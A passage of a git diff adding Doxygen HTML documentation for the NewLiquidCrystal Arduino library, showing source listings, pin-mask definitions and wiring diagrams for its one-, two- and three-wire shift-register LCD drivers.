293 #define SR1W_ATOMIC_WRITE_LOW(reg, mask) ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg &= ~mask; }
+
294 #define SR1W_ATOMIC_WRITE_HIGH(reg, mask) ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg |= mask; }
+
295 
+
296 
+
297 typedef enum { SW_CLEAR, HW_CLEAR } t_sr1w_circuitType;
+
298 
+
299 class LiquidCrystal_SR1W : public LCD
+
300 {
+
301 public:
+
313  LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType,
+
314  t_backlighPol blpol = POSITIVE);
+
315 
+
328  virtual void send(uint8_t value, uint8_t mode);
+
329 
+
330 
+
340  void setBacklight ( uint8_t mode );
+
341 
+
342 private:
+
343 
+
349  void init ( uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol,
+
350  uint8_t lines, uint8_t font );
+
351 
+
357  uint8_t clearSR ();
+
358 
+
363  uint8_t loadSR (uint8_t val);
+
364 
+
365  fio_register _srRegister; // Serial PIN
+
366  fio_bit _srMask;
+
367 
+
368  t_sr1w_circuitType _circuitType;
+
369 
+
370  uint8_t _blPolarity;
+
371  uint8_t _blMask;
+
372 };
+
373 #endif
+
Definition: LiquidCrystal_SR1W.h:299
+
Definition: LCD.h:187
+
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SR1W.cpp:194
+
void setBacklight(uint8_t mode)
Definition: LiquidCrystal_SR1W.cpp:235
+
LiquidCrystal_SR1W(uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol=POSITIVE)
Definition: LiquidCrystal_SR1W.cpp:40
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8cpp.html new file mode 100644 index 0000000..16fdcc6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8cpp.html @@ -0,0 +1,116 @@ + + + + +LCD Library: LiquidCrystal_SR2W.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR2W.cpp File Reference
+
+ +
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8cpp_source.html new file mode 100644 index 0000000..7cfd191 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8cpp_source.html @@ -0,0 +1,246 @@ + + + + +LCD Library: LiquidCrystal_SR2W.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR2W.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created/Adapted by Bill Perry 2012-03-16
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR2W.cpp
+00013 // Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR2W from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 //
+00021 // See the corresponding SR2W header file for full details.
+00022 //
+00023 // History
+00024 // 2012.03.29  bperrybap - Fixed incorrect use of 5x10 for default font 
+00025 //                         (now matches original LQ library)
+00026 //                         Fixed typo in SR2W mask define names
+00027 //                         changed default backlight state to on
+00028 // 2012.03.16  bperrybap - created/modified from SR sources to create SR2W
+00029 // @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com
+00030 // ---------------------------------------------------------------------------
+00031 
+00032 #include "LiquidCrystal_SR2W.h"
+00033 
+00034 // CONSTRUCTORS
+00035 // ---------------------------------------------------------------------------
+00036 // Assuming 1 line 8 pixel high font
+00037 LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol)
+00038 {
+00039         init ( srdata, srclock, blpol, 1, 0 );
+00040 }
+00041 
+00042 
+00043 // PRIVATE METHODS
+00044 // ---------------------------------------------------------------------------
+00045 
+00046 //
+00047 // init
+00048 void LiquidCrystal_SR2W::init(uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font)
+00049 {
+00050         _srDataRegister = fio_pinToOutputRegister(srdata);
+00051         _srDataMask = fio_pinToBit(srdata);
+00052         _srClockRegister = fio_pinToOutputRegister(srclock);
+00053         _srClockMask = fio_pinToBit(srclock);
+00054    
+00055         _blPolarity = blpol;
+00056    
+00057         _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00058    
+00059         backlight(); // set default backlight state to on
+00060 }
+00061 
+00062 //
+00063 // loadSR
+00064 void LiquidCrystal_SR2W::loadSR(uint8_t val)
+00065 {
+00066         // Clear to keep Enable LOW while clocking in new bits
+00067         fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask);
+00068    
+00069    
+00070         // clock out SR data byte
+00071         fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask, val, MSBFIRST);
+00072    
+00073         
+00074         // strobe LCD enable which can now be toggled by the data line
+00075         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00076         {
+00077                 fio_digitalWrite_HIGH(_srDataRegister, _srDataMask);
+00078                 waitUsec (1);         // enable pulse must be >450ns               
+00079                 fio_digitalWrite_SWITCHTO(_srDataRegister, _srDataMask, LOW);
+00080         } // end critical section
+00081 }
+00082 
+00083 // PUBLIC METHODS
+00084 // ---------------------------------------------------------------------------
+00085 
+00086 
+00087 /************ low level data pushing commands **********/
+00088 //
+00089 // send
+00090 void LiquidCrystal_SR2W::send(uint8_t value, uint8_t mode)
+00091 {
+00092         uint8_t myMode = ( mode == DATA ) ? SR2W_RS_MASK : 0; 
+00093    
+00094         myMode = myMode | SR2W_EN_MASK | _blMask;
+00095 
+00096         if ( mode != FOUR_BITS )
+00097         {
+00098                 loadSR(myMode | ((value >> 1) & SR2W_DATA_MASK)); // upper nibble
+00099         }
+00100 
+00101         loadSR(myMode | ((value << 3) & SR2W_DATA_MASK)); // lower nibble
+00102    
+00103         /*
+00104          * Don't call waitUsec()
+00105          * do our own delay optmization since this code is so fast it needs some added delay
+00106          * even on slower AVRs.
+00107          */
+00108 #if (F_CPU <= 16000000)
+00109         delayMicroseconds ( 10 );      // commands & data writes need > 37us to complete
+00110 #else
+00111         delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00112 #endif
+00113 }
+00114 
+00115 //
+00116 // setBacklight
+00117 void LiquidCrystal_SR2W::setBacklight ( uint8_t value ) 
+00118 { 
+00119         // Check for polarity to configure mask accordingly
+00120         // ----------------------------------------------------------
+00121         if  ( ((_blPolarity == POSITIVE) && (value > 0)) || 
+00122         ((_blPolarity == NEGATIVE ) && ( value == 0 )) )
+00123         {
+00124                 _blMask = SR2W_BL_MASK;
+00125         }
+00126         else 
+00127         {
+00128                 _blMask = 0;
+00129         }
+00130    
+00131         // send dummy data of blMask to set BL pin
+00132         // Note: loadSR() will strobe the data line trying to pulse EN
+00133         // but E will not strobe because the EN output bit is not set.
+00134         loadSR(_blMask); 
+00135 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h.html new file mode 100644 index 0000000..0036b40 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h.html @@ -0,0 +1,191 @@ + + + + +LCD Library: LiquidCrystal_SR2W.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal_SR2W.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + +

+Classes

class  LiquidCrystal_SR2W

+Defines

#define SR2W_BL_MASK   0x02
#define SR2W_DATA_MASK   0x78
#define SR2W_EN_MASK   0x80
#define SR2W_RS_MASK   0x04
+

Define Documentation

+ +
+
+ + + + +
#define SR2W_BL_MASK   0x02
+
+
+ +

Definition at line 132 of file LiquidCrystal_SR2W.h.

+ +
+
+ +
+
+ + + + +
#define SR2W_DATA_MASK   0x78
+
+
+ +

Definition at line 134 of file LiquidCrystal_SR2W.h.

+ +
+
+ +
+
+ + + + +
#define SR2W_EN_MASK   0x80
+
+
+ +

Definition at line 135 of file LiquidCrystal_SR2W.h.

+ +
+
+ +
+
+ + + + +
#define SR2W_RS_MASK   0x04
+
+
+ +

Definition at line 133 of file LiquidCrystal_SR2W.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h_source.html new file mode 100644 index 0000000..6a8ad81 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h_source.html @@ -0,0 +1,263 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR2W.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR2W.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created/Adapted by Bill Perry 2012-03-16
+
3 // Copyright 2012 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // @file LiquidCrystal_SR2W.h
+
10 // Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit
+
11 // ShiftRegister (SR2W from now on).
+
12 //
+
13 // @brief
+
14 // This is the 2 wire shift register interface class for the LCD library
+
15 //
+
16 // The functionality provided by this class and its base class is a superset of
+
17 // the original functionality of the Arduino LiquidCrystal library and can
+
18 // be used as such.
+
19 // See the LCD class for a full description of the API functions available.
+
20 //
+
21 // It works with a 8-bit unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+
22 // shift register (IE a very simple SR), and an hd44780 LCD in 4-bit mode.
+
23 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+
24 // 74LS164 and 74HC595 have been exstensively tested.
+
25 //
+
26 //
+
27 // 2 Pins required from the Arduino:
+
28 // - Data/Enable
+
29 // - Clock
+
30 // The Data pin is also used to control the enable signal
+
31 // LCD RW-pin hardwired to LOW (only writing to LCD).
+
32 // Busy Flag (BF, data bit D7) is not read.
+
33 //
+
34 // Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+
35 //
+
36 // Shift register bits
+
37 // Bit #0 - (cannot be used on 74HC595)
+
38 // Bit #1 - optional backlight control
+
39 // Bit #2 - connects to RS (Register Select) on the LCD
+
40 // Bit #3 - connects to LCD data inputs D4
+
41 // Bit #4 - connects to LCD data inputs D5
+
42 // Bit #5 - connects to LCD data inputs D6
+
43 // Bit #6 - connects to LCD data inputs D7
+
44 // Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate")
+
45 //
+
46 // Wiring for a 74LS164
+
47 // ---------------------
+
48 // 1k/4.7k
+
49 // +--------[ Resistor ]--------+---(LCD Enable)
+
50 // | |
+
51 // | 74LS164 (VCC) |
+
52 // | +----u----+ | _V_ diode
+
53 // (data pin)---+---+--1-|A VCC|-14-+ |
+
54 // | | | |
+
55 // +--2-|B Q7|-13------+
+
56 // 3-|Q0 Q6|-12--(LCD D7)
+
57 // (BL Circuit)--------4-|Q1 Q5|-11--(LCD D6)
+
58 // (LCD RS)------------5-|Q2 Q4|-10--(LCD D5)
+
59 // (LCD D4)------------6-|Q3 /MR|--9--(VCC)
+
60 // +-7-|GND CP|--8--(clock pin)
+
61 // | +---------+
+
62 // | 0.1uf
+
63 // (gnd)-----||----(vcc)
+
64 //
+
65 // Wiring for a 74HC595
+
66 // --------------------
+
67 // NOTE: the 74HC595 is a latching shift register. In order to get it to operate
+
68 // in a "non latching" mode, RCLK and SCLK are tied together. The side effect of this
+
69 // is that the latched output is one clock behind behind the internal shift register bits.
+
70 // To compensate for this the wiring is offset by one bit position lower.
+
71 // For example, while the backlight is hooked to Q0 it is still using bit 1 of
+
72 // of the shift register because the outputs are 1 clock behind the real internal shift
+
73 // register.
+
74 //
+
75 // 74HC595 (VCC)
+
76 // +----u----+ | +-----------------------(BL circuit)
+
77 // (LCD RS)------------1-|Q1 VCC|-16-+ | +--------------------(data pin)
+
78 // (LCD D4)------------2-|Q2 Q0|-15----+ | 1k/4.7k
+
79 // (LCD D5)------------3-|Q3 SER|-14-------+---[ Resistor ]--+--(LCD Enable)
+
80 // (LCD D6)------------4-|Q4 /OE|-13--(gnd) |
+
81 // (LCD D7)------------5-|Q5 RCLK|-12-------+ |
+
82 // | | | |
+
83 // +------6-|Q6 SCLK|-11-------+--(clock pin) |
+
84 // | 7-|Q7 /MR|-10--(VCC) |
+
85 // | +-8-|GND Q6'|--9 |
+
86 // | | +---------+ diode _V_
+
87 // | | 0.1uf |
+
88 // | (gnd)-----||----(vcc) |
+
89 // +-----------------------------------------------+
+
90 //
+
91 //
+
92 // Backlight Control circuit
+
93 // -------------------------
+
94 // Because the shift resiter is not latching the outputs, the backlight circuitry
+
95 // will "see" the output bits as they are shifted into the shift register which
+
96 // can cause the backlight to flicker rather than remain constantly on/off.
+
97 // The circuit below slows down the transitions to the transistor to remove
+
98 // the visible flicker. When the BL input is HIGH the LCD backlight will turn on.
+
99 //
+
100 // (value depends on LCD, 100ohm is usually safe)
+
101 // (LCD BL anode)---[ resistor ]---(vcc)
+
102 //
+
103 // (LCD BL cathode)-------------------------------+
+
104 // |
+
105 // D
+
106 // |
+
107 // (BL input)----[ 4.7k Resistor ]----+-------G-|-< (2N7000 FET)
+
108 // | |
+
109 // (0.1uf) = S
+
110 // | |
+
111 // (gnd) (gnd)
+
112 //
+
113 //
+
114 //
+
115 //
+
116 // History
+
117 // 2012.03.16 bperrybap - creation/adaption from SR header to create SR2W header.
+
118 // Fixed typo in SR2W mask define names
+
119 // @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com
+
120 // --------------------------------------------------------------------------------
+
121 #ifndef _LIQUIDCRYSTAL_SR2W_
+
122 #define _LIQUIDCRYSTAL_SR2W_
+
123 
+
124 #include <inttypes.h>
+
125 #include "LCD.h"
+
126 #include "FastIO.h"
+
127 
+
128 
+
129 // two-wire SR output bit constants
+
130 // ---------------------------------------------------------------------------
+
131 
+
132 #define SR2W_BL_MASK 0x02
+
133 #define SR2W_RS_MASK 0x04
+
134 #define SR2W_DATA_MASK 0x78 // data bits are hard coded to be SR bits 6,5,4,3
+
135 #define SR2W_EN_MASK 0x80 // cannot ever be changed
+
136 
+
137 class LiquidCrystal_SR2W : public LCD
+
138 {
+
139 public:
+
151  LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol = POSITIVE);
+
152 
+
165  virtual void send(uint8_t value, uint8_t mode);
+
166 
+
167 
+
177  void setBacklight ( uint8_t mode );
+
178 
+
179 private:
+
180 
+
186  void init ( uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font );
+
187 
+
192  void loadSR (uint8_t val);
+
193 
+
194  fio_register _srDataRegister; // Serial Data pin
+
195  fio_bit _srDataMask;
+
196  fio_register _srClockRegister; // Clock Pin
+
197  fio_bit _srClockMask;
+
198 
+
199  uint8_t _blPolarity;
+
200  uint8_t _blMask;
+
201 };
+
202 #endif
+
void setBacklight(uint8_t mode)
Definition: LiquidCrystal_SR2W.cpp:117
+
Definition: LiquidCrystal_SR2W.h:137
+
Definition: LCD.h:187
+
LiquidCrystal_SR2W(uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)
Definition: LiquidCrystal_SR2W.cpp:37
+
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SR2W.cpp:90
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp.html new file mode 100644 index 0000000..215b179 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp.html @@ -0,0 +1,276 @@ + + + + +LCD Library: LiquidCrystal_SR3W.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal_SR3W.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal_SR3W.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + +

+Defines

#define D4   0
#define D5   1
#define D6   2
#define D7   3
#define EN   4
#define LCD_BACKLIGHT   0xFF
#define LCD_NOBACKLIGHT   0x00
#define RS   6
#define RW   5
+

Define Documentation

+ +
+
+ + + + +
#define D4   0
+
+
+

LCD dataline allocation this library only supports 4 bit LCD control mode. D4, D5, D6, D7 LCD data lines pin mapping of the extender module

+ +

Definition at line 126 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define D5   1
+
+
+ +

Definition at line 127 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define D6   2
+
+
+ +

Definition at line 128 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define D7   3
+
+
+ +

Definition at line 129 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define EN   4
+
+
+

Enable bit of the LCD Defines the IO of the expander connected to the LCD's Enable

+ +

Definition at line 104 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_BACKLIGHT   0xFF
+
+
+

LCD_BACKLIGHT BACKLIGHT MASK used when backlight is on

+ +

Definition at line 93 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0x00
+
+
+

LCD_NOBACKLIGHT No BACKLIGHT MASK

+ +

Definition at line 86 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define RS   6
+
+
+

Register bit of the LCD Defines the IO of the expander connected to the LCD's Register select pin

+ +

Definition at line 118 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define RW   5
+
+
+

Read/Write bit of the LCD Defines the IO of the expander connected to the LCD's Rw pin

+ +

Definition at line 111 of file LiquidCrystal_SR3W.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html new file mode 100644 index 0000000..f85668b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html @@ -0,0 +1,363 @@ + + + + +LCD Library: LiquidCrystal_SR3W.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR3W.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 7.3.2012.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SRG.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using a generic SHIFT REGISTER extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using a 3 wire latching
+00021 // shift register. While it has been tested with a 74HC595N shift register
+00022 // it should also work with other latching shift registers such as the MC14094
+00023 // and the HEF4094
+00024 //
+00025 // This particular driver has been created as generic as possible to enable
+00026 // users to configure and connect their LCDs using just 3 digital IOs from the
+00027 // AVR or Arduino, and connect the LCD to the outputs of the shiftregister
+00028 // in any configuration. The library is configured by passing the IO pins
+00029 // that control the strobe, data and clock of the shift register and a map
+00030 // of how the shiftregister is connected to the LCD.
+00031 // 
+00032 //
+00033 //   +--------------------------------------------+
+00034 //   |                 MCU                        |
+00035 //   |   IO1           IO2           IO3          |
+00036 //   +----+-------------+-------------+-----------+
+00037 //        |             |             |
+00038 //        |             |             |
+00039 //   +----+-------------+-------------+-----------+
+00040 //   |    Strobe        Data          Clock       |
+00041 //   |          8-bit shift/latch register        | 74HC595N
+00042 //   |    Qa0  Qb1  Qc2  Qd3  Qe4  Qf5  Qg6  Qh7  |
+00043 //   +----+----+----+----+----+----+----+----+----+
+00044 //        |    |    |    |    |    |    |    
+00045 //        |11  |12  |13  |14  |6   |5   |4   (LCD pins)
+00046 //   +----+----+----+----+----+----+----+----+----+
+00047 //   |    DB4  DB5  DB6  DB7  E    Rw   RS        |
+00048 //   |                 LCD Module                 |
+00049 //
+00050 // NOTE: Rw is not used by the driver so it can be connected to GND.
+00051 //
+00052 // The functionality provided by this class and its base class is identical
+00053 // to the original functionality of the Arduino LiquidCrystal library.
+00054 //
+00055 //
+00056 // History
+00057 // 2012.03.29 bperrybap - fixed constructors not properly using Rs
+00058 //                        Fixed incorrect use of 5x10 for default font 
+00059 //                        - now matches original LQ library.
+00060 //                        moved delay to send() so it is per cmd/write vs shiftout()
+00061 //                        NOTE: delay is on hairy edge of working when FAST_MODE is on.
+00062 //                        because of waitUsec().
+00063 //                        There is margin at 16Mhz AVR but might fail on 20Mhz AVRs.
+00064 //                        
+00065 // @author F. Malpartida - fmalpartida@gmail.com
+00066 // ---------------------------------------------------------------------------
+00067 // flags for backlight control
+00068 #include <stdio.h>
+00069 #include <string.h>
+00070 #include <inttypes.h>
+00071 
+00072 #if (ARDUINO <  100)
+00073 #include <WProgram.h>
+00074 #else
+00075 #include <Arduino.h>
+00076 #endif
+00077 #include "LiquidCrystal_SR3W.h"
+00078 
+00079 #include "FastIO.h"
+00080 
+00086 #define LCD_NOBACKLIGHT 0x00
+00087 
+00093 #define LCD_BACKLIGHT   0xFF
+00094 
+00095 
+00096 // Default library configuration parameters used by class constructor with
+00097 // only the I2C address field.
+00098 // ---------------------------------------------------------------------------
+00104 #define EN 4  // Enable bit
+00105 
+00111 #define RW 5  // Read/Write bit
+00112 
+00118 #define RS 6  // Register select bit
+00119 
+00126 #define D4 0
+00127 #define D5 1
+00128 #define D6 2
+00129 #define D7 3
+00130 
+00131 
+00132 
+00133 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)
+00134 {
+00135    init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 );
+00136 }
+00137 
+00138 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+00139                                        uint8_t backlighPin, t_backlighPol pol)
+00140 {
+00141    init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 );
+00142    setBacklightPin(backlighPin, pol);
+00143 }
+00144 
+00145 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+00146                                        uint8_t En, uint8_t Rw, uint8_t Rs, 
+00147                                        uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 )
+00148 {
+00149    init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 );
+00150 }
+00151 
+00152 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, 
+00153                                        uint8_t En, uint8_t Rw, uint8_t Rs, 
+00154                                        uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00155                                        uint8_t backlighPin, t_backlighPol pol)
+00156 {
+00157    init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 );
+00158    setBacklightPin(backlighPin, pol);
+00159 }
+00160 
+00161 
+00162 void LiquidCrystal_SR3W::send(uint8_t value, uint8_t mode)
+00163 {
+00164    
+00165    if ( mode != FOUR_BITS )
+00166    {
+00167       write4bits( (value >> 4), mode ); // upper nibble
+00168    }   
+00169    write4bits( (value & 0x0F), mode); // lower nibble
+00170 
+00171 
+00172 #if (F_CPU <= 16000000)
+00173    // No need to use the delay routines on AVR since the time taken to write
+00174    // on AVR with SR pin mapping even with fio is longer than LCD command execution.
+00175    waitUsec(37); //goes away on AVRs
+00176 #else
+00177    delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00178 #endif
+00179 
+00180 }
+00181 
+00182 
+00183 void LiquidCrystal_SR3W::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE )
+00184 {
+00185    _backlightPinMask = ( 1 << value );
+00186    _backlightStsMask = LCD_NOBACKLIGHT;
+00187    _polarity = pol;
+00188    setBacklight (BACKLIGHT_OFF);     // Set backlight to off as initial setup
+00189 }
+00190 
+00191 void LiquidCrystal_SR3W::setBacklight ( uint8_t value )
+00192 {
+00193    // Check if backlight is available
+00194    // ----------------------------------------------------
+00195    if ( _backlightPinMask != 0x0 )
+00196    {
+00197       // Check for polarity to configure mask accordingly
+00198       // ----------------------------------------------------------
+00199       if  (((_polarity == POSITIVE) && (value > 0)) || 
+00200            ((_polarity == NEGATIVE ) && ( value == 0 )))
+00201       {
+00202          _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT;
+00203       }
+00204       else 
+00205       {
+00206          _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT;
+00207       }
+00208       loadSR( _backlightStsMask );
+00209    }
+00210 }
+00211 
+00212 
+00213 // PRIVATE METHODS
+00214 // -----------------------------------------------------------------------------
+00215 
+00216 int LiquidCrystal_SR3W::init(uint8_t data, uint8_t clk, uint8_t strobe, 
+00217                              uint8_t Rs, uint8_t Rw, uint8_t En,
+00218                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00219 {
+00220    _data       = fio_pinToBit(data);
+00221    _clk        = fio_pinToBit(clk);
+00222    _strobe     = fio_pinToBit(strobe);
+00223    _data_reg   = fio_pinToOutputRegister(data);
+00224    _clk_reg    = fio_pinToOutputRegister(clk);
+00225    _strobe_reg = fio_pinToOutputRegister(strobe);
+00226    
+00227    // LCD pin mapping
+00228    _backlightPinMask = 0;
+00229    _backlightStsMask = LCD_NOBACKLIGHT;
+00230    _polarity = POSITIVE;
+00231    
+00232    _En = ( 1 << En );
+00233    _Rw = ( 1 << Rw );
+00234    _Rs = ( 1 << Rs );
+00235    
+00236    // Initialise pin mapping
+00237    _data_pins[0] = ( 1 << d4 );
+00238    _data_pins[1] = ( 1 << d5 );
+00239    _data_pins[2] = ( 1 << d6 );
+00240    _data_pins[3] = ( 1 << d7 );
+00241    
+00242    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00243    
+00244    return (1);
+00245 }
+00246 
+00247 void LiquidCrystal_SR3W::write4bits(uint8_t value, uint8_t mode)
+00248 {
+00249    uint8_t pinMapValue = 0;
+00250    
+00251    // Map the value to LCD pin mapping
+00252    // --------------------------------
+00253    for ( uint8_t i = 0; i < 4; i++ )
+00254    {
+00255       if ( ( value & 0x1 ) == 1 )
+00256       {
+00257          pinMapValue |= _data_pins[i];
+00258       }
+00259       value = ( value >> 1 );
+00260    }
+00261    
+00262    // Is it a command or data
+00263    // -----------------------
+00264    mode = ( mode == DATA ) ? _Rs : 0;
+00265    
+00266    pinMapValue |= mode | _backlightStsMask;
+00267    loadSR ( pinMapValue | _En );  // Send with enable high
+00268    loadSR ( pinMapValue); // Send with enable low
+00269 }
+00270 
+00271 
+00272 void LiquidCrystal_SR3W::loadSR(uint8_t value) 
+00273 {
+00274    // Load the shift register with information
+00275    fio_shiftOut(_data_reg, _data, _clk_reg, _clk, value, MSBFIRST);
+00276    
+00277    // Strobe the data into the latch
+00278    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00279    {
+00280       fio_digitalWrite_HIGH(_strobe_reg, _strobe);
+00281       fio_digitalWrite_SWITCHTO(_strobe_reg, _strobe, LOW);
